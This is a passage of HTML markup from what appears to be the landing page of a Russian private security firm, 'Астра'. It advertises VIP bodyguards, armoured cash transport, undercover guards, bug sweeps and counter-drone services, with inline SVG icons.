-->\n                        <circle class=\"t-pulse\" cx=\"150\" cy=\"150\" r=\"130\" stroke=\"#e50000\" stroke-width=\"1\" opacity=\"0\" />\n                        <circle class=\"t-pulse t-pulse2\" cx=\"150\" cy=\"150\" r=\"110\" stroke=\"#e50000\" stroke-width=\"1\" opacity=\"0\" />\n                        <circle class=\"t-pulse t-pulse3\" cx=\"150\" cy=\"150\" r=\"90\" stroke=\"#e50000\" stroke-width=\"1\" opacity=\"0\" />\n\n                        <!-- Outer dashed rotating ring -->\n                        <g class=\"t-ring-outer\">\n                            <circle cx=\"150\" cy=\"150\" r=\"128\" stroke=\"rgba(229,0,0,0.3)\" stroke-width=\"1\" stroke-dasharray=\"6 8\" />\n                        </g>\n\n                        <!-- Mid ring with ticks -->\n                        <g class=\"t-ring-mid\">\n                            <circle cx=\"150\" cy=\"150\" r=\"98\" stroke=\"rgba(229,0,0,0.5)\" stroke-width=\"1\" stroke-dasharray=\"3 14\" />\n                        </g>\n\n                        <!-- Static rings -->\n                        <circle cx=\"150\" cy=\"150\" r=\"75\" stroke=\"rgba(229,0,0,0.55)\" stroke-width=\"1.5\" />\n                        <circle cx=\"150\" cy=\"150\" r=\"50\" stroke=\"rgba(229,0,0,0.7)\" stroke-width=\"1.5\" />\n                        <circle cx=\"150\" cy=\"150\" r=\"25\" stroke=\"rgba(229,0,0,0.8)\" stroke-width=\"1.5\" />\n\n                        <!-- Crosshair lines -->\n                        <line x1=\"150\" y1=\"0\" x2=\"150\" y2=\"118\" stroke=\"rgba(229,0,0,0.5)\" stroke-width=\"1\" />\n                        <line x1=\"150\" y1=\"182\" x2=\"150\" y2=\"300\" stroke=\"rgba(229,0,0,0.5)\" stroke-width=\"1\" />\n                        <line x1=\"0\" y1=\"150\" x2=\"118\" y2=\"150\" stroke=\"rgba(229,0,0,0.5)\" stroke-width=\"1\" />\n                        <line x1=\"182\" y1=\"150\" x2=\"300\" y2=\"150\" stroke=\"rgba(229,0,0,0.5)\" stroke-width=\"1\" />\n\n                        <!-- Small gap ticks -->\n                        <line x1=\"150\" y1=\"122\" x2=\"150\" y2=\"130\" stroke=\"rgba(229,0,0,0.7)\" stroke-width=\"1.5\" />\n                        <line x1=\"150\" y1=\"170\" x2=\"150\" y2=\"178\" stroke=\"rgba(229,0,0,0.7)\" stroke-width=\"1.5\" />\n                        <line x1=\"122\" y1=\"150\" x2=\"130\" y2=\"150\" stroke=\"rgba(229,0,0,0.7)\" stroke-width=\"1.5\" />\n                        <line x1=\"170\" y1=\"150\" x2=\"178\" y2=\"150\" stroke=\"rgba(229,0,0,0.7)\" stroke-width=\"1.5\" />\n\n                        <!-- Center dot -->\n                        <circle class=\"t-dot\" cx=\"150\" cy=\"150\" r=\"5\" fill=\"#e50000\" />\n                        <circle cx=\"150\" cy=\"150\" r=\"2.5\" fill=\"#fff\" />\n\n                        <!-- Degree labels -->\n                        <text x=\"150\" y=\"18\" text-anchor=\"middle\" fill=\"rgba(229,0,0,0.5)\" font-size=\"9\" font-family=\"monospace\" letter-spacing=\"1\">000°</text>\n                        <text x=\"283\" y=\"155\" text-anchor=\"start\" fill=\"rgba(229,0,0,0.5)\" font-size=\"9\" font-family=\"monospace\" letter-spacing=\"1\">090°</text>\n                        <text x=\"150\" y=\"294\" text-anchor=\"middle\" fill=\"rgba(229,0,0,0.5)\" font-size=\"9\" font-family=\"monospace\" letter-spacing=\"1\">180°</text>\n                        <text x=\"8\" y=\"155\" text-anchor=\"start\" fill=\"rgba(229,0,0,0.5)\" font-size=\"9\" font-family=\"monospace\" letter-spacing=\"1\">270°</text>\n                    </svg>\n                </div>\n            </div>\n        </div>\n\n        <!-- BOTTOM STATS BAR -->\n        <div class=\"hero-stats-bar\">\n            <div class=\"hero-stat\">\n                <div class=\"num\" data-count=\"12\">0</div>\n                <div class=\"lbl\">Лет на рынке</div>\n            </div>\n            <div class=\"hero-stat\">\n                <div class=\"num\" data-count=\"340\">0</div>\n                <div class=\"lbl\">Сотрудников</div>\n            </div>\n            <div class=\"hero-stat\">\n                <div class=\"num\" data-count=\"9\">0</div>\n                <div class=\"lbl\">Направлений</div>\n            </div>\n            <div class=\"hero-stat\">\n                <div class=\"num\" data-count=\"100\">0</div>\n                <div class=\"lbl\">% Конфиденциальность</div>\n            </div>\n        </div>\n    </section>\n\n    <!-- TICKER -->\n    <div class=\"ticker-wrap\" aria-hidden=\"true\">\n        <div class=\"ticker-track\">\n            <span class=\"ticker-item\">Личная охрана VIP</span>\n            <span class=\"ticker-sep\">◆</span>\n            <span class=\"ticker-item\">Инкассация и бронирование</span>\n            <span class=\"ticker-sep\">◆</span>\n            <span class=\"ticker-item\">Охрана мероприятий</span>\n            <span class=\"ticker-sep\">◆</span>\n            <span class=\"ticker-item\">Работа под прикрытием</span>\n            <span class=\"ticker-sep\">◆</span>\n            <span class=\"ticker-item\">Техническая безопасность</span>\n            <span class=\"ticker-sep\">◆</span>\n            <span class=\"ticker-item\">Бизнес-разведка</span>\n            <span class=\"ticker-sep\">◆</span>\n            <span class=\"ticker-item\">Кибербезопасность</span>\n            <span class=\"ticker-sep\">◆</span>\n            <!-- duplicate for seamless loop -->\n            <span class=\"ticker-item\">Личная охрана VIP</span>\n            <span class=\"ticker-sep\">◆</span>\n            <span class=\"ticker-item\">Инкассация и бронирование</span>\n            <span class=\"ticker-sep\">◆</span>\n            <span class=\"ticker-item\">Охрана мероприятий</span>\n            <span class=\"ticker-sep\">◆</span>\n            <span class=\"ticker-item\">Работа под прикрытием</span>\n            <span class=\"ticker-sep\">◆</span>\n            <span class=\"ticker-item\">Техническая безопасность</span>\n            <span class=\"ticker-sep\">◆</span>\n            <span class=\"ticker-item\">Бизнес-разведка</span>\n            <span class=\"ticker-sep\">◆</span>\n            <span class=\"ticker-item\">Кибербезопасность</span>\n            <span class=\"ticker-sep\">◆</span>\n        </div>\n    </div>\n    <div class=\"divider\"></div>\n\n    <!-- SERVICES -->\n    <section class=\"services\" id=\"services\">\n        <div class=\"bg-lines\"></div>\n        <div class=\"section-inner\" style=\"position:relative;z-index:1\">\n            <div class=\"services-header\">\n                <div>\n                    <div class=\"section-label reveal\">Направления</div>\n                    <h2 class=\"section-title reveal delay-1\">Наши <span>услуги</span></h2>\n                    <p class=\"section-desc reveal delay-2\">Десять профессиональных направлений с командой из ветеранов спецподразделений и сертифицированных специалистов.</p>\n                </div>\n            </div>\n            <div class=\"services-grid\">\n\n                <!-- 1 -->\n                <div class=\"service-card reveal delay-1\">\n                    <div class=\"service-num\">01</div>\n                    <div class=\"service-icon\">\n                        <!-- Shield person icon -->\n                        <svg viewBox=\"0 0 24 24\" xmlns=\"http://www.w3.org/2000/svg\">\n                            <path d=\"M12 1L3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5l-9-4zm0 4a3 3 0 110 6 3 3 0 010-6zm0 8c2.67 0 8 1.34 8 4v1H4v-1c0-2.66 5.33-4 8-4z\" />\n                        </svg>\n                    </div>\n                    <div class=\"service-title\">Личная безопасность (Executive Protection)</div>\n                    <p class=\"service-desc\">Двухуровневая система охраны: «ближний периметр» в штатском и скрытая группа прикрытия. Контр-аварийное вождение, оружие скрытого ношения.</p>\n                    <div class=\"service-tags\">\n                        <span class=\"service-tag\">Level A/B</span>\n                        <span class=\"service-tag\">VIP</span>\n                        <span class=\"service-tag\">Эскорт детей</span>\n                    </div>\n                </div>\n\n                <!-- 2 -->\n                <div class=\"service-card reveal delay-2\">\n                    <div class=\"service-num\">02</div>\n                    <div class=\"service-icon\">\n                        <!-- Armored car icon -->\n                        <svg viewBox=\"0 0 24 24\" xmlns=\"http://www.w3.org/2000/svg\">\n                            <path d=\"M20 8h-3V4H3c-1.1 0-2 .9-2 2v11h2c0 1.66 1.34 3 3 3s3-1.34 3-3h6c0 1.66 1.34 3 3 3s3-1.34 3-3h2v-5l-3-4zM6 18.5c-.83 0-1.5-.67-1.5-1.5S5.17 15.5 6 15.5s1.5.67 1.5 1.5-.67 1.5-1.5 1.5zm13.5-9l1.96 2.5H17V9.5h2.5zm-1.5 9c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5z\" />\n                        </svg>\n                    </div>\n                    <div class=\"service-title\">Вооружённое сопровождение грузов (Cash-in-Transit)</div>\n                    <p class=\"service-desc\">Мобильный отряд СБР на бронированных автомобилях УАЗ «Патриот» BR4/BR5. Инкассация, перевозка ценностей и предметов искусства скрытыми маршрутами.</p>\n                    <div class=\"service-tags\">\n                        <span class=\"service-tag\">Бронирование BR5</span>\n                        <span class=\"service-tag\">СБР</span>\n                        <span class=\"service-tag\">Искусство</span>\n                    </div>\n                </div>\n\n                <!-- 3 -->\n                <div class=\"service-card reveal delay-3\">\n                    <div class=\"service-num\">03</div>\n                    <div class=\"service-icon\">\n                        <!-- People crowd icon -->\n                        <svg viewBox=\"0 0 24 24\" xmlns=\"http://www.w3.org/2000/svg\">\n                            <path d=\"M16 11c1.66 0 2.99-1.34 2.99-3S17.66 5 16 5c-1.66 0-3 1.34-3 3s1.34 3 3 3zm-8 0c1.66 0 2.99-1.34 2.99-3S9.66 5 8 5C6.34 5 5 6.34 5 8s1.34 3 3 3zm0 2c-2.33 0-7 1.17-7 3.5V19h14v-2.5C15 14.17 10.33 13 8 13zm8 0c-.29 0-.62.02-.97.05 1.16.84 1.97 1.97 1.97 3.45V19h6v-2.5C23 14.17 18.33 13 16 13z\" />\n                        </svg>\n                    </div>\n                    <div class=\"service-title\">Охрана массовых мероприятий (Event Security)</div>\n                    <p class=\"service-desc\">Профессиональные распорядители с навыками психологии толпы. Кинологическая служба с немецкими овчарками и малинуа для досмотра помещений на ВВ.</p>\n                    <div class=\"service-tags\">\n                        <span class=\"service-tag\">Кинологи</span>\n                        <span class=\"service-tag\">Эвакуация VIP</span>\n                        <span class=\"service-tag\">Металлодетектор</span>\n                    </div>\n                </div>\n\n                <!-- 4 -->\n                <div class=\"service-card reveal delay-4\">\n                    <div class=\"service-num\">04</div>\n                    <div class=\"service-icon\">\n                        <!-- Spy/undercover icon -->\n                        <svg viewBox=\"0 0 24 24\" xmlns=\"http://www.w3.org/2000/svg\">\n                            <path d=\"M12 4.5C7 4.5 2.73 7.61 1 12c1.73 4.39 6 7.5 11 7.5s9.27-3.11 11-7.5C21.27 7.61 17 4.5 12 4.5zm0 12.5c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5zm0-8c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3z\" />\n                        </svg>\n                    </div>\n                    <div class=\"service-title\">Работа под прикрытием (Covert Security)</div>\n                    <p class=\"service-desc\">Внедрение в окружение клиента. «Официант-телохранитель» с курсом швейцарского этикета, Krav Maga и джиу-джитсу. «Водитель» и «Айтишник» в вашем офисе.</p>\n                    <div class=\"service-tags\">\n                        <span class=\"service-tag\">Krav Maga</span>\n                        <span class=\"service-tag\">Легенда</span>\n                        <span class=\"service-tag\">Контрразведка</span>\n                    </div>\n                </div>\n\n                <!-- 5 -->\n                <div class=\"service-card reveal delay-5\">\n                    <div class=\"service-num\">05</div>\n                    <div class=\"service-icon\">\n                        <!-- Tech/camera icon -->\n                        <svg viewBox=\"0 0 24 24\" xmlns=\"http://www.w3.org/2000/svg\">\n                            <path d=\"M17 10.5V7c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h12c.55 0 1-.45 1-1v-3.5l4 4v-11l-4 4zM14 13h-3v3H9v-3H6v-2h3V8h2v3h3v2z\" />\n                        </svg>\n                    </div>\n                    <div class=\"service-title\">Техническая безопасность (Physical-Cyber)</div>\n                    <p class=\"service-desc\">Видеонаблюдение с распознаванием лиц, биометрические СКУД. Услуга «Чистый воздух» — проверка помещений на жучки и скрытые камеры анализаторами спектра.</p>\n                    <div class=\"service-tags\">\n                        <span class=\"service-tag\">Видеоаналитика</span>\n                        <span class=\"service-tag\">СКУД</span>\n                        <span class=\"service-tag\">Чистый воздух</span>\n                    </div>\n                </div>\n\n                <!-- 6 -->\n                <div class=\"service-card reveal delay-6\">\n                    <div class=\"service-num\">06</div>\n                    <div class=\"service-icon\">\n                        <svg viewBox=\"0 0 24 24\" xmlns=\"http://www.w3.org/2000/svg\">\n                            <path d=\"M15.5 14h-.79l-.28-.27C15.41 12.59 16 11.11 16 9.5 16 5.91 13.09 3 9.5 3S3 5.91 3 9.5 5.91 16 9.5 16c1.61 0 3.09-.59 4.23-1.57l.27.28v.79l5 4.99L20.49 19l-4.99-5zm-6 0C7.01 14 5 11.99 5 9.5S7.01 5 9.5 5 14 7.01 14 9.5 11.99 14 9.5 14z\" />\n                        </svg>\n                    </div>\n                    <div class=\"service-title\">Бизнес-разведка (Detective & Analytics)</div>\n                    <p class=\"service-desc\">Сбор информации о контрагентах без нарушения законодательства. Поиск активов и пропавших. Психолог на переговорах. Скрытая запись. Юридическое сопровождение.</p>\n                    <div class=\"service-tags\">\n                        <span class=\"service-tag\">Анализ рисков</span>\n                        <span class=\"service-tag\">Поиск активов</span>\n                        <span class=\"service-tag\">Психолог</span>\n                    </div>\n                </div>\n\n                <!-- 7 -->\n                <div class=\"service-card reveal delay-1\">\n                    <div class=\"service-num\">07</div>\n                    <div class=\"service-icon\">\n                        <svg viewBox=\"0 0 24 24\" xmlns=\"http://www.w3.org/2000/svg\">\n                            <path d=\"M12 7V3H2v18h20V7H12zM6 19H4v-2h2v2zm0-4H4v-2h2v2zm0-4H4V9h2v2zm0-4H4V5h2v2zm4 12H8v-2h2v2zm0-4H8v-2h2v2zm0-4H8V9h2v2zm0-4H8V5h2v2zm10 12h-8v-2h2v-2h-2v-2h2v-2h-2V9h8v10zm-2-8h-2v2h2v-2zm0 4h-2v2h2v-2z\" />\n                        </svg>\n                    </div>\n                    <div class=\"service-title\">Охрана стационарных объектов (Static Guard)</div>\n                    <p class=\"service-desc\">Посты при входе, патрулирование периметра, контроль СКУД. Охрана офисных зданий, складов, производств и жилых комплексов. Вооружение по согласованию.</p>\n                    <div class=\"service-tags\">\n                        <span class=\"service-tag\">24/7</span>\n                        <span class=\"service-tag\">Периметр</span>\n                        <span class=\"service-tag\">КПП</span>\n                    </div>\n                </div>\n\n                <!-- 8 -->\n                <div class=\"service-card reveal delay-2\">\n                    <div class=\"service-num\">08</div>\n                    <div class=\"service-icon\">\n                        <svg viewBox=\"0 0 24 24\" xmlns=\"http://www.w3.org/2000/svg\">\n                            <path d=\"M11.5 2C6.81 2 3 5.81 3 10.5S6.81 19 11.5 19h.5v3c4.86-2.34 8-7 8-11.5C20 5.81 16.19 2 11.5 2zm1 14.5h-2v-2h2v2zm0-4h-2c0-3.25 3-3 3-5 0-1.1-.9-2-2-2s-2 .9-2 2h-2c0-2.21 1.79-4 4-4s4 1.79 4 4c0 2.5-3 2.75-3 5z\" />\n                        </svg>\n                    </div>\n                    <div class=\"service-title\">Психологическое сопровождение (Threat Analysis)</div>\n                    <p class=\"service-desc\">Штатные психологи и профайлеры оценивают угрозы среди персонала и посетителей. Анализ поведенческих паттернов, выявление манипуляций и нестандартных ситуаций.</p>\n                    <div class=\"service-tags\">\n                        <span class=\"service-tag\">Профайлинг</span>\n                        <span class=\"service-tag\">Поведенческий анализ</span>\n                        <span class=\"service-tag\">HR-риски</span>\n                    </div>\n                </div>\n\n                <!-- 9 -->\n                <div class=\"service-card reveal delay-3\">\n                    <div class=\"service-num\">09</div>\n                    <div class=\"service-icon\">\n                        <svg viewBox=\"0 0 24 24\" xmlns=\"http://www.w3.org/2000/svg\">\n                            <path d=\"M9 11H7v2h2v-2zm4 0h-2v2h2v-2zm4 0h-2v2h2v-2zm2-7h-1V2h-2v2H8V2H6v2H5c-1.11 0-1.99.9-1.99 2L3 20c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm0 16H5V9h14v11z\" />\n                        </svg>\n                    </div>\n                    <div class=\"service-title\">Аудит и консалтинг безопасности (Security Audit)</div>\n                    <p class=\"service-desc\">Комплексная проверка уязвимостей объекта: физические точки входа, цифровые угрозы, процедуры персонала. Итоговый отчёт с дорожной картой устранения рисков.</p>\n                    <div class=\"service-tags\">\n                        <span class=\"service-tag\">Аудит</span>\n                        <span class=\"service-tag\">Пентест физический</span>\n                        <span class=\"service-tag\">Отчёт</span>\n                    </div>\n                </div>\n\n                <!-- 10 -->\n                <div class=\"service-card reveal delay-4\">\n                    <div class=\"service-num\">10</div>\n                    <div class=\"service-icon\">\n                        <svg viewBox=\"0 0 24 24\" xmlns=\"http://www.w3.org/2000/svg\">\n                            <path d=\"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm-1 14H9V8h2v8zm4 0h-2V8h2v8z\" />\n                        </svg>\n                    </div>\n                    <div class=\"service-title\">Антидроновая защита (Counter-UAS)</div>\n                    <p class=\"service-desc\">Обнаружение, классификация и нейтрализация беспилотников в охраняемом воздушном пространстве. РЭБ-комплексы, сети-перехватчики и круглосуточный мониторинг радиочастот.</p>\n                    <div class=\"service-tags\">\n                        <span class=\"service-tag\">РЭБ</span>\n                        <span class=\"service-tag\">Обнаружение БПЛА</span>\n                        <span class=\"service-tag\">Мониторинг 24/7</span>\n                    </div>\n                </div>\n\n            </div>\n        </div>\n    </section>\n\n    <div class=\"divider\"></div>\n\n    <!-- UNDERCOVER FEATURE -->\n    <section class=\"undercover\" id=\"undercover\">\n        <div class=\"section-inner\">\n            <div class=\"uc-grid\">\n                <div class=\"uc-visual\" id=\"ucShuffle\">\n                    <div class=\"uc-card\">\n                        <div class=\"uc-icon\">\n                            <svg viewBox=\"0 0 24 24\">\n                                <path d=\"M18.6 6.62c-1.44 0-2.8.56-3.77 1.53L12 10.66 10.48 12h.01L7.8 14.39c-.64.64-1.49.99-2.4.99-1.87 0-3.39-1.51-3.39-3.38S3.53 8.62 5.4 8.62c.91 0 1.76.35 2.44 1.03l1.13 1 1.51-1.34L9.22 8.2C8.2 7.18 6.84 6.62 5.4 6.62 2.42 6.62 0 9.04 0 12s2.42 5.38 5.4 5.38c1.44 0 2.8-.56 3.77-1.53l2.83-2.5.01.01L13.52 12h-.01l2.69-2.39c.64-.64 1.49-.99 2.4-.99 1.87 0 3.39 1.51 3.39 3.38s-1.52 3.38-3.39 3.38c-.9 0-1.76-.35-2.44-1.03l-1.14-1.01-1.51 1.34 1.27 1.12c1.02 1.01 2.37 1.57 3.82 1.57 2.98 0 5.4-2.41 5.4-5.38s-2.42-5.38-5.4-5.38z\" />\n                            </svg>\n                        </div>\n                        <h4>Официант-телохранитель</h4>\n                        <p>Швейцарский этикет + Krav Maga. Кевлар под фраком. Поднос как щит.</p>\n                    </div>\n                    <div class=\"uc-card\">\n                        <div class=\"uc-icon\">\n                            <svg viewBox=\"0 0 24 24\">\n                                <path d=\"M18.92 6.01C18.72 5.42 18.16 5 17.5 5h-11c-.66 0-1.21.42-1.42 1.01L3 12v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-8l-2.08-5.99zM6.5 16c-.83 0-1.5-.67-1.5-1.5S5.67 13 6.5 13s1.5.67 1.5 1.5S7.33 16 6.5 16zm11 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5zM5 11l1.5-4.5h11L19 11H5z\" />\n                            </svg>\n                        </div>\n                        <h4>Водитель-охранник</h4>\n                        <p>Контр-аварийные маршруты, «слепые зоны» города. Салон как укрытие за 10 сек.</p>\n                    </div>\n                    <div class=\"uc-card\">\n                        <div class=\"uc-icon\">\n                            <svg viewBox=\"0 0 24 24\">\n                                <path d=\"M20 18c1.1 0 1.99-.9 1.99-2L22 6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2H0v2h24v-2h-4zM4 6h16v10H4V6z\" />\n                            </svg>\n                        </div>\n                        <h4>Технический специалист</h4>\n                        <p>Настройка сети как легенда. Поиск жучков, оценка лояльности персонала, OSINT.</p>\n                    </div>\n                    <div class=\"uc-card\">\n                        <div class=\"uc-icon\">\n                            <svg viewBox=\"0 0 24 24\">\n                                <path d=\"M13.49 5.48c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2zm-3.6 13.9l1-4.4 2.1 2v6h2v-7.5l-2.1-2 .6-3c1.3 1.5 3.3 2.5 5.5 2.5v-2c-1.9 0-3.5-1-4.3-2.4l-1-1.6c-.4-.6-1-1-1.7-1-.3 0-.5.1-.8.1l-5.2 2.2v4.7h2v-3.4l1.8-.7-1.6 8.1-4.9-1-.4 2 7 1.4z\" />\n                            </svg>\n                        </div>\n                        <h4>Личный тренер</h4>\n                        <p>Внедрение под видом спортивного тренера или партнёра. Постоянный физический контакт с клиентом.</p>\n                    </div>\n                </div>\n\n                <div class=\"uc-content reveal-r\">\n                    <div class=\"section-label\">Элитная услуга</div>\n                    <h2 class=\"section-title\">Охрана <span>под прикрытием</span></h2>\n                    <p class=\"section-desc\" style=\"max-width:100%;margin-top:1rem\">\n                        Визитная карточка «Астры» — внедрение сотрудников в окружение клиента или в коллектив его предприятия под безукоризненной легендой. Никто не догадается. Угроза нейтрализуется до её возникновения.\n                    </p>\n                    <p class=\"section-desc\" style=\"max-width:100%;margin-top:0.8rem\">\n                        Каждый сотрудник отдела прошёл курсы актёрского мастерства, знает протокол поведения в VIP-среде и владеет двумя-тремя боевыми системами. Разработка легенды входит в стоимость услуги.\n                    </p>\n                    <div class=\"tags\">\n                        <span class=\"tag\">Zero Trust</span>\n                        <span class=\"tag\">Разработка легенды</span>\n                        <span class=\"tag\">Зашифрованная связь</span>\n                        <span class=\"tag\">Krav Maga · BJJ · Самбо</span>\n                        <span class=\"tag\">Актёрское мастерство</span>\n                    </div>\n                </div>\n            </div>\n        </div>\n    </section>\n\n    <div class=\"divider\"></div>\n\n    <!-- ADVANTAGES -->\n    <section class=\"advantages\" id=\"advantages\">\n        <div class=\"section-inner\">\n            <div class=\"adv-header reveal\">\n                <div>\n                    <div class=\"section-label\">Почему мы</div>\n                    <h2 class=\"section-title\">Наши <span>преимущества</span></h2>\n                </div>\n                <p class=\"adv-intro\">12 лет на рынке, 340 сотрудников, 0 провалов по вине оператора. Цифры говорят сами за себя — мы не обещаем, мы делаем.</p>\n            </div>\n            <div class=\"adv-list\">\n                <div class=\"adv-row reveal delay-1\">\n                    <span class=\"adv-num\">01</span>\n                    <div class=\"adv-icon\">\n                        <svg viewBox=\"0 0 24 24\">\n                            <path d=\"M12 1L3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5l-9-4zm-2 16l-4-4 1.41-1.41L10 14.17l6.59-6.59L18 9l-8 8z\" />\n                        </svg>\n                    </div>\n                    <div class=\"adv-body\">\n                        <h4>Лицензированная деятельность</h4>\n                        <p>Все виды лицензий МВД на охранную и детективную деятельность. Полная юридическая чистота любой операции.</p>\n                    </div>\n                    <div class=\"adv-tag\">МВД · Лицензия</div>\n                </div>\n                <div class=\"adv-row reveal delay-2\">\n                    <span class=\"adv-num\">02</span>\n                    <div class=\"adv-icon\">\n                        <svg viewBox=\"0 0 24 24\">\n                            <path d=\"M7 2v11h3v9l7-12h-4l4-8z\" />\n                        </svg>\n                    </div>\n                    <div class=\"adv-body\">\n                        <h4>Ветераны спецподразделений</h4>\n                        <p>ФСО, МВД, ГРУ, ВДВ и морская пехота в составе команды. Только проверенный опыт реальных операций.</p>\n                    </div>\n                    <div class=\"adv-tag\">ФСО · ГРУ · ВДВ</div>\n                </div>\n                <div class=\"adv-row reveal delay-3\">\n                    <span class=\"adv-num\">03</span>\n                    <div class=\"adv-icon\">\n                        <svg viewBox=\"0 0 24 24\">\n                            <path d=\"M18 8h-1V6c0-2.76-2.24-5-5-5S7 3.24 7 6v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V10c0-1.1-.9-2-2-2zm-6 9c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2zm3.1-9H8.9V6c0-1.71 1.39-3.1 3.1-3.1 1.71 0 3.1 1.39 3.1 3.1v2z\" />\n                        </svg>\n                    </div>\n                    <div class=\"adv-body\">\n                        <h4>Шифрованная связь</h4>\n                        <p>Закрытые каналы Motorola DP4800 со scrambl-шифрованием. Ежедневные рапорты по защищённым каналам Signal.</p>\n                    </div>\n                    <div class=\"adv-tag\">AES-256 · Motorola</div>\n                </div>\n                <div class=\"adv-row reveal delay-4\">\n                    <span class=\"adv-num\">04</span>\n                    <div class=\"adv-icon\">\n                        <svg viewBox=\"0 0 24 24\">\n                            <path d=\"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm-1 14H9V8h2v8zm4 0h-2V8h2v8z\" />\n                        </svg>\n                    </div>\n                    <div class=\"adv-body\">\n                        <h4>Zero-Trust протокол</h4>\n                        <p>Индивидуальный план безопасности под грифом «Конфиденциально». Аудит объекта выездным аналитиком до старта работы.</p>\n                    </div>\n                    <div class=\"adv-tag\">Zero-Trust · OSINT</div>\n                </div>\n            </div>\n        </div>\n    </section>\n\n    <div class=\"divider\"></div>\n\n    <!-- CREDS -->\n    <section class=\"creds\" id=\"creds\">\n        <div class=\"section-inner\">\n            <div class=\"section-label reveal\">Оснащение</div>\n            <h2 class=\"section-title reveal delay-1\">Тактика и <span>снаряжение</span></h2>\n            <div class=\"creds-grid\">\n                <div class=\"cred-item reveal delay-1\">\n                    <div class=\"cred-icon\"><svg viewBox=\"0 0 24 24\">\n                            <path d=\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\" />\n                        </svg></div>\n                    <div>\n                        <h4>Вооружение</h4>\n                        <p>От травматического оружия до нарезного карабина «Сайга» и пистолета Ярыгина (ПЯ). Оружейная комната с усиленной охраной.</p>\n                    </div>\n                </div>\n                <div class=\"cred-item reveal delay-2\">\n                    <div class=\"cred-icon\"><svg viewBox=\"0 0 24 24\">\n                            <path d=\"M12 1L3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5l-9-4z\" />\n                        </svg></div>\n                    <div>\n                        <h4>Бронежилеты «Невидимка»</h4>\n                        <p>Скрытое ношение класса Бр2–Бр3 незаметны под пиджаком. Для работы под прикрытием — неотличимы от обычной одежды.</p>\n                    </div>\n                </div>\n                <div class=\"cred-item reveal delay-3\">\n                    <div class=\"cred-icon\"><svg viewBox=\"0 0 24 24\">\n                            <path d=\"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2z\" />\n                        </svg></div>\n                    <div>\n                        <h4>Закрытая связь</h4>\n                        <p>Motorola DP4800 со scrambl-шифрованием. Тревожная кнопка на каждом посту с дублем на пульте централизованного наблюдения.</p>\n                    </div>\n                </div>\n                <div class=\"cred-item reveal delay-4\">\n                    <div class=\"cred-icon\"><svg viewBox=\"0 0 24 24\">\n                            <path d=\"M18.92 6.01C18.72 5.42 18.16 5 17.5 5h-11c-.66 0-1.21.42-1.42 1.01L3 12v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-8l-2.08-5.99z\" />\n                        </svg></div>\n                    <div>\n                        <h4>Автопарк BR4/BR5</h4>\n                        <p>Бронированные УАЗ «Патриот» и иномарки с классом бронирования BR4–BR5. Тонировка, системы GPS-мониторинга и экстренной связи.</p>\n                    </div>\n                </div>\n                <div class=\"cred-item reveal delay-5\">\n                    <div class=\"cred-icon\"><svg viewBox=\"0 0 24 24\">\n                            <path d=\"M12 2a5 5 0 100 10A5 5 0 0012 2zm0 12c-5.33 0-8 2.67-8 4v2h16v-2c0-1.33-2.67-4-8-4z\" />\n                        </svg></div>\n                    <div>\n                        <h4>Отбор и квалификация</h4>\n                        <p>Рост 175+, категория А, опыт ВДВ/спецназ. Ежеквартальные стрельбы, рукопашный бой, сертификат МЧС по ПМП.</p>\n                    </div>\n                </div>\n                <div class=\"cred-item reveal delay-6\">\n                    <div class=\"cred-icon\"><svg viewBox=\"0 0 24 24\">\n                            <path d=\"M16 11c1.66 0 2.99-1.34 2.99-3S17.66 5 16 5c-1.66 0-3 1.34-3 3s1.34 3 3 3zm-8 0c1.66 0 2.99-1.34 2.99-3S9.66 5 8 5C6.34 5 5 6.34 5 8s1.34 3 3 3zm0 2c-2.33 0-7 1.17-7 3.5V19h14v-2.5C15 14.17 10.33 13 8 13zm8 0c-.29 0-.62.02-.97.05 1.16.84 1.97 1.97 1.97 3.45V19h6v-2.5C23 14.17 18.33 13 16 13z\" />\n                        </svg></div>\n                    <div>\n                        <h4>Кинологическая служба</h4>\n                        <p>Немецкие овчарки и малинуа для обследования помещений. Поиск взрывчатых веществ и наркотиков на любых объектах.</p>\n                    </div>\n                </div>\n            </div>\n        </div>\n    </section>\n\n    <div class=\"divider\"></div>\n\n    <!-- PRICING -->\n    <section class=\"pricing\" id=\"pricing\">\n        <div class=\"bg-lines\"></div>\n        <div class=\"section-inner\" style=\"position:relative;z-index:1\">\n            <div class=\"section-label reveal\">Прейскурант</div>\n            <h2 class=\"section-title reveal delay-1\">Стоимость <span>услуг</span></h2>\n            <p class=\"section-desc reveal delay-2\">Имиджевые тарифы. Окончательная стоимость рассчитывается индивидуально после аудита объекта.</p>\n            <div class=\"pricing-grid\">\n\n                <div class=\"price-card reveal delay-1\">\n                    <div class=\"price-badge\">Базовый</div>\n                    <div class=\"price-name\">Вооружённое 